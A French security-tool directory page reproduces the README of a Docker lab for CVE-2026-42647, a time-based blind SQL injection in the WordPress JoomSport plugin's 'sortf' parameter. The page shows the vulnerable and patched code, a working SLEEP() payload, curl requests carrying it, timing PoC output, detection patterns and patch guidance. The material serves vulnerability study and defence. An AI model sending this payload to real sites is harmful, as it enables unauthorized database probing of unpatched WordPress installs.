Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-42647-Lab — Laboratoire basé sur Docker pour reproduire la CVE-2026-42647, une injection SQL aveugle basée sur le temps non authentifiée dans le plugin JoomSport WordPress via le paramètre sortf. Inclut des cibles vulnérables et corrigées à des fins de comparaison. | Kitploit
Outils/GitHubGitHub/rootdirective-sec
/
cve-2026-42647-lab
Analyse des VulnérabilitésExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubrootdirective-sec/cve-2026-42647-lab

CVE-2026-42647-Lab

Laboratoire basé sur Docker pour reproduire la CVE-2026-42647, une injection SQL aveugle basée sur le temps non authentifiée dans le plugin JoomSport WordPress via le paramètre sortf. Inclut des cibles vulnérables et corrigées à des fins de comparaison.

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-42647 - Injection SQL aveugle temporelle non authentifiée via sortf dans JoomSport

Résumé exécutif

Ce dépôt contient un laboratoire Docker local pour reproduire et valider CVE-2026-42647, une vulnérabilité d'injection SQL non authentifiée affectant le plugin WordPress JoomSport - for Sports: Team & League, Football, Hockey & more.

Le comportement vulnérable se produit dans la fonctionnalité de tri de la liste des joueurs. Un visiteur public peut contrôler le paramètre de requête sortf, qui est utilisé pour construire une clause SQL ORDER BY. Dans les versions vulnérables, la valeur est nettoyée comme du texte et entourée de guillemets inversés, mais elle n'est pas validée par une liste blanche stricte avant d'être ajoutée à la requête SQL.

Ce laboratoire compare deux versions de JoomSport :

ServiceVersion JoomSportButURL
vuln5.7.6Cible de comparaison vulnérablehttp://localhost:8081
patched5.7.8Cible de comparaison patchéehttp://localhost:8082

Les avis publics identifient les versions antérieures à 5.7.8 comme affectées et la version 5.7.8 comme la version corrigée. Ce laboratoire utilise la version 5.7.6 comme cible vulnérable car un tag source 5.7.7 n'était pas disponible dans le listing des tags SVN du plugin WordPress.org au moment de la préparation de ce laboratoire.

La chaîne de vulnérabilité démontrée est :```text Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field

root@kitploit:~
Ce laboratoire valide la vulnérabilité en tant qu'injection SQL aveugle basée sur le temps. Il n'effectue pas de vidage de base de données, d'extraction d'identifiants, de modification de données ou d'opérations SQL destructrices.

Ce laboratoire est conçu uniquement pour la recherche locale contrôlée, la compréhension au niveau du code source et la démonstration de portfolio.

## Faits vérifiés

| Affirmation                                                                      | Preuve                                                                                                                                   | Comment vérifier dans ce laboratoire                                       |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| JoomSport avant la version 5.7.8 est signalé comme vulnérable à une injection SQL non authentifiée. | Les avis publics identifient JoomSport `< 5.7.8` / `<= 5.7.7` comme affecté.                                     | Consultez la section Références et comparez les services vulnérables/corrigés. |
| JoomSport 5.7.8 est la version corrigée.                                               | Les avis publics et la comparaison des sources montrent que la version 5.7.8 valide la valeur `sortf` avant de construire l'expression de tri. | Inspectez `class-jsport-playerlist.php` dans les deux versions.                    |
| Le paramètre affecté est `sortf`.                                                     | Le code vulnérable de la liste des joueurs lit `classJsportRequest::get('sortf')`.                                                                       | Exécutez le PoC et observez la requête `sortf` injectée.                      |
| Le code vulnérable construit une valeur de tri SQL dynamique à partir de l'entrée utilisateur.        | Dans la version vulnérable, `sortf` est utilisé pour construire `$options['ordering']`.                                                  | Inspectez `sportleague/classes/objects/class-jsport-playerlist.php`.         |
| Le point d'insertion SQL est une clause `ORDER BY`.                                           | La valeur générée `$ordering` est ensuite ajoutée à une requête SQL avec `ORDER BY`.                                         | Inspectez `sportleague/base/wordpress/classes/class-jsport-getplayers.php`.  |
| Le correctif utilise une correction de type liste blanche.                                          | La version corrigée introduit des colonnes statiques autorisées et des motifs de champ dynamique attendus avant d'utiliser le champ de tri.       | Comparez les sources de JoomSport 5.7.6 et 5.7.8.                                  |
| Le laboratoire démontre une injection SQL aveugle basée sur le temps.                            | La cible vulnérable retarde lorsqu'une expression `SLEEP()` injectée est utilisée ; la cible corrigée ne le fait pas.                     | Exécutez `python3 poc/poc.py http://localhost:8081 http://localhost:8082`.      |

## Hypothèses et inconnues

Ce laboratoire utilise JoomSport 5.7.6 comme cible de comparaison vulnérable car la version corrigée publique est 5.7.8 et qu'un tag source 5.7.7 n'était pas disponible dans la liste des tags SVN du plugin WordPress.org lorsque le laboratoire a été préparé.

Le laboratoire ne prétend pas que 5.7.6 est la seule version vulnérable. Il est utilisé comme une base vulnérable reproductible pour comparer le comportement vulnérable au comportement corrigé de 5.7.8.

Le laboratoire se concentre sur le paramètre `sortf` dans le flux de tri de la liste des joueurs.

L'impact démontré est une injection SQL aveugle basée sur le temps. Le laboratoire ne démontre pas :

* vidage direct de base de données,
* extraction d'identifiants,
* contournement d'authentification,
* élévation de privilèges,
* modification arbitraire de données,
* exécution de code à distance,
* persistance,
* rappels externes,
* ou d'attaques contre des systèmes hors laboratoire.

Un comportement basé sur les erreurs ou booléen peut être possible selon le comportement de la base de données, la configuration de l'application et les différences de réponse, mais ce laboratoire ne repose pas sur ces techniques. La preuve principale est basée sur le temps.

## Résumé de la cause racine

La cause racine est la construction non sécurisée d'une clause `ORDER BY` SQL dynamique à partir du paramètre de requête `sortf`.

Le chemin de code vulnérable commence dans :```text
sportleague/classes/objects/class-jsport-playerlist.php

Dans la logique de chargement de la liste des joueurs, JoomSport lit le paramètre de requête :```text sortf

root@kitploit:~
et l'utilise pour construire:```text
$options['ordering']

Le motif de source vulnérable pertinent est :```php if (classJsportRequest::get('sortf')) { $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC"; $options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD; }

root@kitploit:~
Le problème ne vient pas principalement du paramètre `sortd`. La valeur de `sortd` est limitée à :```text
ASC
DESC

Le problème est le paramètre sortf car il contrôle la position de l'identifiant/expression SQL utilisée pour le tri.

L'expression dangereuse est :```php "".classJsportRequest::get('sortf').""

root@kitploit:~
Le code place une entrée contrôlée par l'attaquant dans un contexte d'identifiant MySQL, puis la transmet comme fragment d'ordre SQL.

Le code applique :```php
sanitize_text_field()

mais sanitize_text_field() n'est pas une validation d'identifiant SQL. Il est conçu pour nettoyer du texte, pas pour construire en toute sécurité une syntaxe SQL.

Le code vulnérable encadre également le champ de tri contrôlé par l'utilisateur avec des backticks. Cependant, les backticks ne constituent pas une frontière de sécurité lorsque l'attaquant peut influencer le contenu de l'identifiant. Si un attaquant peut injecter un backtick dans la valeur, il peut sortir du contexte d'identifiant prévu.

La valeur d'ordre générée est ensuite transmise à la requête de récupération du joueur et ajoutée dans une clause SQL ORDER BY dans :```text sportleague/base/wordpress/classes/class-jsport-getplayers.php

root@kitploit:~
Le motif sink est :```php
$query .= ' ORDER BY '.($ordering);

Cela crée le flux de données vulnérable:```text sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY

root@kitploit:~
Le problème de sécurité est que l'application traite un paramètre de requête contrôlé par l'utilisateur comme un identifiant/expression SQL sans d'abord le valider par rapport à une liste d'autorisation stricte.

## Résumé du correctif source

Le correctif pertinent se trouve dans :```text
sportleague/classes/objects/class-jsport-playerlist.php

Dans la version vulnérable, le code de la liste des joueurs construit $options['ordering'] directement à partir de la valeur de la requête :```php if (classJsportRequest::get('sortf')) { $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC"; $options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD; }

root@kitploit:~
La partie vulnérable est que `classJsportRequest::get('sortf')` est utilisé dans l'expression de classement SQL.

JoomSport 5.7.8 modifie ce comportement en introduisant une variable de champ de classement validée avant de construire `$options['ordering']`.

La version corrigée initialise une valeur par défaut sûre :```php
$sortFieldEsc = 'post_title';

Il définit ensuite les colonnes de tri statiques autorisées :```php $sortCols = array("played", "career_minutes", "post_title");

root@kitploit:~
Lorsque `sortf` est présent, le code corrigé ne l'accepte que s'il correspond à l'une des valeurs statiques attendues :```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
    $sortFieldEsc = classJsportRequest::get('sortf');
}

Le correctif permet également les formats de champ d'événement/statistique dynamique attendus :```php if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }

if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }

root@kitploit:~
Le dernier changement important pour la sécurité est que `$options['ordering']` est construit à partir de `$sortFieldEsc` au lieu de la valeur brute de la requête `sortf` :```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;

Cela ne supprime pas le tri dynamique. Cela modifie la limite de confiance.

Avant le correctif :```text request sortf value directly controlled the ORDER BY identifier

root@kitploit:~
Après le correctif :```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern

Si l'attaquant envoie une valeur inattendue telle que :```text post_title`DESC,(SLEEP(2))#

root@kitploit:~
le code corrigé n'assigne pas cette valeur à `$sortFieldEsc`. Au lieu de cela, le champ de tri revient à :```text
post_title

C’est pourquoi le service vulnérable subit des retards, tandis que le service corrigé reste proche du temps de base.

La leçon de sécurité du correctif est :```text Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.

root@kitploit:~
## Architecture du laboratoire

Le laboratoire exécute deux installations WordPress isolées via Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── init-wordpress.sh
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

Les deux services WordPress utilisent des bases de données distinctes et des versions de plugins distinctes :

ServiceComponentVersion / Rôle
vulnWordPress + JoomSportJoomSport 5.7.6
patchedWordPress + JoomSportJoomSport 5.7.8
db-vulnMariaDBbase de données pour la cible vulnérable
db-patchedMariaDBbase de données pour la cible corrigée
setup-vulnWP-CLI init serviceinstalle WordPress et alimente la cible vulnérable
setup-patchedWP-CLI init serviceinstalle WordPress et alimente la cible corrigée

Services exposés par défaut :```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082

root@kitploit:~
Le processus de configuration crée les données minimales de JoomSport nécessaires pour afficher la route de la liste des joueurs :```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows

Les services vulnérables et corrigés utilisent la même forme de données de laboratoire afin que le comportement temporel puisse être comparé équitablement.

Prérequis

  • Docker Desktop ou Docker Engine
  • Docker Compose v2
  • Python 3
  • Package Python requests pour exécuter le PoC depuis l'hôte
  • Accès Internet pendant la construction de l'image Docker pour récupérer les dépendances WordPress/JoomSport

Installez la dépendance Python sur l'hôte si nécessaire :

root@kitploit:~
pip install requests
``````bash
python3 -m pip install requests

Démarrage rapide

Démarrer le laboratoire :```bash docker compose down -v --remove-orphans docker compose up -d --build

root@kitploit:~
Surveillez les conteneurs de configuration :```bash
docker compose logs -f setup-vuln setup-patched

Messages de fin d'installation attendus :```text [VULN] setup complete [PATCHED] setup complete

root@kitploit:~
Vérifiez l'état du conteneur :```bash
docker compose ps

Services exposés attendus :```text http://localhost:8081 http://localhost:8082

root@kitploit:~
Exécutez le PoC contre la cible vulnérable :```bash
python3 poc/poc.py http://localhost:8081

Exécutez le PoC contre la cible corrigée :```bash python3 poc/poc.py http://localhost:8082

root@kitploit:~
Exécutez le PoC contre les deux cibles en une seule commande :```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082

Pour des statistiques de timing plus stables, augmentez le nombre de tours :```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

root@kitploit:~
Vous pouvez également ajuster le temps de sommeil demandé :```bash
python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5

Utilisation du PoC

Le PoC vérifie chaque cible indépendamment.

Il ne nécessite plus les options --vuln-url ou --patched-url séparées. Au lieu de cela, transmettez une ou plusieurs URL cibles comme arguments positionnels :```bash python3 poc/poc.py <target_url> [target_url...]

root@kitploit:~
Exemples :```bash
python3 poc/poc.py http://localhost:8081
python3 poc/poc.py http://localhost:8082
python3 poc/poc.py http://localhost:8081 http://localhost:8082

Si aucune URL cible n'est fournie, le script demande une ou plusieurs URL cibles locales de manière interactive.

Options prises en charge :```text --season-id Seeded JoomSport season post ID. Default: 4 --rounds Number of requests per baseline/injected series. Default: 3 --sleep SLEEP() seconds used in the timing payload. Default: 2

root@kitploit:~
Le PoC est intentionnellement de portée locale. Il accepte des cibles de type localhost-style telles que :```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

Le PoC refuse par défaut les cibles non locales.

Comment le PoC décide

Pour chaque cible, le PoC réalise deux séries temporelles :```text [1/2] Baseline timing [2/2] Injected timing

root@kitploit:~
La requête de base utilise un champ de tri normal :```text
sortf=post_title

La requête injectée utilise une charge utile de temporisation locale dans le paramètre sortf :```text sortf=post_title`DESC,(SLEEP(2))#

root@kitploit:~
Le PoC calcule :```text
delta = injected median - baseline median

Ensuite, il classe la cible :

VerdictSignification
VULNERABLE-LIKELa requête injectée est nettement plus lente que la référence.
PATCHED-LIKELa requête injectée reste proche de la référence.
UNREACHABLELa cible n'a pas pu être atteinte.
INCONCLUSIVECertaines données de temporisation sont manquantes ou incomplètes.

Règle de décision par défaut :```text injected median - baseline median >= 60% of requested SLEEP()

root@kitploit:~
Pour la valeur par défaut `--sleep 2`, le seuil est :```text
1.200s median delta

Ceci signifie qu'une cible n'est signalée comme VULNERABLE-LIKE que lorsque la requête injectée est clairement plus lente que sa propre référence.

Les cibles inaccessibles ou non concluantes ne sont pas comptées comme corrigées.

Reproduction HTTP manuelle avec curl

Vous pouvez reproduire la validation manuellement sans utiliser le PoC Python.

Requête de référence vulnérable:```bash curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

root@kitploit:~
Requête vulnérable injectée :```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'

Requête de base corrigée :```bash curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

root@kitploit:~
Requête injectée corrigée :```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'

Comparaison attendue :```text JoomSport 5.7.6 vulnerable -> injected request is significantly slower JoomSport 5.7.8 patched -> injected request stays near baseline timing

root@kitploit:~
## Résultat attendu

### Cible vulnérable

Commande:```bash
python3 poc/poc.py http://localhost:8081

Signal vulnérable attendu :```text CVE-2026-42647 JoomSport local timing validation Scope : localhost / Docker lab only Technique : time-based blind SQL injection check in ORDER BY via sortf Logic : baseline timing vs injected timing per target

Targets : 1 Rounds per series : 3 Requested SLEEP() : 2s Decision threshold: 1.200s median delta

================================================================================================ Target: http://localhost:8081/

Season post ID : 4 Baseline sortf : post_title Injected sortf : post_title`DESC,(SLEEP(2))#

[1/2] Baseline timing run 01: status=200 time=0.092s bytes=75333 run 02: status=200 time=0.044s bytes=75333 run 03: status=200 time=0.046s bytes=75333 summary median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s summary status=200x3 bytes=75333

[2/2] Injected timing run 01: status=200 time=6.050s bytes=75321 run 02: status=200 time=6.058s bytes=75321 run 03: status=200 time=6.095s bytes=75321 summary median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s summary status=200x3 bytes=75321

Target decision

Baseline median : 0.046s Injected median : 6.058s Delta : 6.011s Ratio : 130.8x Threshold : 1.200s Verdict : VULNERABLE-LIKE

Interpretation : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.

root@kitploit:~
Résumé final vulnérable :```text
Final summary
================================================================================================
Target                             Base med    Inj med      Delta    Ratio            Verdict
------------------------------------------------------------------------------------------------
http://localhost:8081/               0.046s     6.058s     6.011s   130.8x    VULNERABLE-LIKE
------------------------------------------------------------------------------------------------
VULNERABLE-LIKE targets: 1
PATCHED-LIKE targets   : 0
UNREACHABLE targets    : 0
INCONCLUSIVE targets   : 0

RESULT: VULNERABLE BEHAVIOR OBSERVED
At least one reachable target showed a reproducible timing delay when the injected sortf value was used.

Cible corrigée

Commande :```bash python3 poc/poc.py http://localhost:8082

root@kitploit:~
Signal patché attendu :```text
Target decision
------------------------------------------------------------------------------------------------
Baseline median : around normal baseline timing
Injected median : around normal baseline timing
Delta           : below threshold
Ratio           : near 1.0x
Threshold       : 1.200s
Verdict         : PATCHED-LIKE

Interpretation  : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.

Cibles multiples

Commande:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082

root@kitploit:~
Résultat attendu :```text
VULNERABLE-LIKE targets: 1
PATCHED-LIKE targets   : 1
UNREACHABLE targets    : 0
INCONCLUSIVE targets   : 0

RESULT: VULNERABLE BEHAVIOR OBSERVED
At least one reachable target showed a reproducible timing delay when the injected sortf value was used.

Cible inaccessible

Si une cible n'est pas en cours d'exécution, le PoC doit signaler UNREACHABLE, et non PATCHED-LIKE.

Exemple:```bash python3 poc/poc.py http://localhost:8083

root@kitploit:~
Décision attendue :```text
Verdict         : UNREACHABLE

Interpretation  : the target could not be reached. No vulnerability decision was made for this target.

Les cibles inaccessibles ne sont pas comptées comme corrigées.

Fonctionnement du PoC

Le PoC sonde la route de la liste des joueurs de JoomSport pour une publication de saison initialisée.

La route cible est équivalente à :```text GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC

root@kitploit:~
La requête de base utilise :```text
sortf=post_title

Cela devrait produire un tri normal de la liste des joueurs.

La requête injectée utilise :```text sortf=post_title`DESC,(SLEEP(2))#

root@kitploit:~
Le code vulnérable encapsule `sortf` dans des backticks et ajoute une direction de tri. La valeur injectée est conçue pour sortir du contexte d'identifiant prévu et introduire une expression de temporisation dans la clause `ORDER BY`.

Conceptuellement, le fragment SQL vulnérable devient similaire à :```sql
ORDER BY `post_title` DESC, (SLEEP(2))

Le marqueur de commentaire # empêche que le backtick de fin et la direction n'interfèrent avec l'expression injectée. Ce n'est pas une charge utile de requête empilée. Cela n'injecte pas :```sql ; SELECT SLEEP(2);

root@kitploit:~
Au lieu de cela, il injecte une expression SQL dans le contexte `ORDER BY` existant.

La version corrigée n'exécute pas l'expression injectée car la valeur `sortf` est vérifiée par rapport aux champs de tri autorisés et revient à `post_title` lorsque la valeur est inattendue.

## Impact

Ce laboratoire démontre une injection SQL aveugle basée sur le temps non authentifiée dans le paramètre `sortf` de la liste des joueurs JoomSport.

La version vulnérable exécute une expression de temporisation SQL injectée via la clause `ORDER BY`, produisant un délai de réponse clair. La version corrigée ne retarde pas car le champ de tri injecté est rejeté et remplacé par une valeur autorisée sécurisée.

Ce laboratoire prouve uniquement l'exécution SQL basée sur la temporisation. Il ne démontre pas l'extraction de données, la modification de données, le contournement d'authentification, l'élévation de privilèges ou l'exécution de code à distance.

## Détection et Surveillance

Les indicateurs potentiels incluent des requêtes directes vers les routes de la liste des joueurs JoomSport avec des valeurs `sortf` inhabituelles.

Exemple de modèle de requête suspecte :

`https://example.com/index.php?option=com_joomsport&view=playerlist&sortf=INJECTED_VALUE````text
GET /?post_type=joomsport_season&p=<id>&action=playerlist&sortf=<unexpected_value>&sortd=ASC

Caractéristiques suspectes de sortf :```text backticks parentheses commas SQL comments SLEEP IF CASE BENCHMARK unexpected function-like strings

root@kitploit:~
Exemple de requête de laboratoire local :```text
sortf=post_title`DESC,(SLEEP(2))#

Signal vulnérable attendu:```text HTTP 200 response with significant timing delay

root@kitploit:~
Signal corrigé attendu:```text
HTTP 200 response without significant timing delay

Idées de surveillance en production potentielles :

  • Examinez les journaux d'accès web pour des valeurs sortf inhabituelles.
  • Alertez sur les mots-clés SQL ou les marqueurs de commentaire dans les paramètres de tri.
  • Surveillez les requêtes répétées vers les routes de la liste des joueurs JoomSport avec de petites variations de paramètres.
  • Surveillez les requêtes lentes de base de données impliquant les tables de la liste des joueurs JoomSport.
  • Corrélez les requêtes lentes avec le trafic public non authentifié.
  • Vérifiez si JoomSport est installé et si sa version est antérieure à 5.7.8.

Notes d'atténuation et de correctif

Mettez à niveau JoomSport vers la version 5.7.8 ou ultérieure.

La version corrigée contraint le paramètre sortf aux champs de tri attendus et aux motifs de champs dynamiques. Les valeurs inattendues reviennent à un champ de tri sécurisé par défaut.

Conseils d'atténuation au niveau de l'application :

  • Mettez à niveau le plugin JoomSport.
  • N'exposez pas de versions obsolètes du plugin sur des sites WordPress publics.
  • Examinez les journaux web pour des paramètres sortf suspects.
  • Désactivez ou restreignez la fonctionnalité affectée uniquement comme atténuation temporaire si une mise à niveau immédiate n'est pas possible.
  • Utilisez une règle de pare-feu d'application web comme couche temporaire, pas comme remplacement du correctif.
  • Traitez les identifiants SQL dynamiques différemment des valeurs normales : utilisez des listes autorisées pour les noms de colonnes, les noms de tables, les directions de tri et les composants de syntaxe SQL similaires.

Le contrôle le plus important est la liste autorisée. L'échappement seul n'est pas un correctif complet pour les identifiants SQL dynamiques.

Commandes de vérification utiles

Vérifiez les conteneurs en cours d'exécution :```bash docker compose ps

root@kitploit:~
Surveiller les logs de configuration :```bash
docker compose logs -f setup-vuln setup-patched

Vérifier les services WordPress:```bash curl -I http://localhost:8081 curl -I http://localhost:8082

root@kitploit:~
Exécutez le PoC contre le service vulnérable:```bash
python3 poc/poc.py http://localhost:8081

Exécutez le PoC contre le service corrigé :```bash python3 poc/poc.py http://localhost:8082

root@kitploit:~
Exécutez le PoC contre les deux services :```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082

Exécutez le PoC avec plus de tours :```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

root@kitploit:~
Sauvegarder les preuves :```bash
mkdir -p evidence

python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5 \
  | tee evidence/timing-validation.txt

docker compose ps \
  | tee evidence/docker-compose-ps.txt

docker compose logs vuln patched setup-vuln setup-patched \
  > evidence/docker-compose-logs.txt

Vérifiez les versions des plugins dans WordPress :```bash docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html

root@kitploit:~
Inspectez la source vulnérable :```bash
docker compose exec -T vuln sh -lc \
  "grep -R \"sortf\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

Inspectez la source corrigée :```bash docker compose exec -T patched sh -lc
"grep -R "sortf\|sortFieldEsc\|sortCols\|ordering" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

root@kitploit:~
Inspecter SQL sink:```bash
docker compose exec -T vuln sh -lc \
  "grep -R \"ORDER BY\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"

Nettoyage

Arrêtez et supprimez les conteneurs et les réseaux :```bash docker compose down --remove-orphans

root@kitploit:~
Supprimer les conteneurs, les réseaux et les volumes :```bash
docker compose down -v --remove-orphans

Supprimer les fichiers de preuve s'ils ont été créés :```bash rm -rf evidence/

root@kitploit:~
## Limites de sécurité

Ce laboratoire est destiné uniquement à la recherche locale en sécurité et à des démonstrations contrôlées.

N'exécutez pas le PoC ou les charges utiles contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.

N'utilisez pas de véritables identifiants, secrets de production ou cibles externes dans ce laboratoire.

Le PoC est intentionnellement limité aux services Docker locaux tels que :```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

Le PoC n'inclut pas de payloads pour le vidage de base de données, le vol d'identifiants, la modification de données, la persistance, le mouvement latéral ou les rappels externes. L'objectif est de démontrer une condition technique spécifique dans un environnement contrôlé :```text unauthenticated request

  • player list route
  • attacker-controlled sortf
  • vulnerable ORDER BY construction
  • timing delay in vulnerable version
  • no timing delay in patched version
root@kitploit:~
## Références

* Avis Wordfence : JoomSport <= 5.7.7 - Injection SQL non authentifiée via le paramètre `sortf`
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter

* Avis Wordfence : JoomSport - for Sports: Team & League, Football, Hockey & more <= 5.7.7 - Injection SQL non authentifiée
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection

* Base de données des vulnérabilités des plugins WPScan : JoomSport
  https://wpscan.com/plugin/joomsport-sports-league-results-management/

* Plugin WordPress.org : JoomSport - for Sports: Team & League, Football, Hockey & more
  https://wordpress.org/plugins/joomsport-sports-league-results-management/

* SVN du plugin WordPress.org
  https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/

* Tags SVN du plugin WordPress.org
  https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/

* Guide de test de sécurité Web OWASP : Test d'injection SQL
  https://owasp.org/www-project-web-security-testing-guide/

* Série d'antisèches OWASP : Prévention des injections SQL
  https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
Télécharger l’outil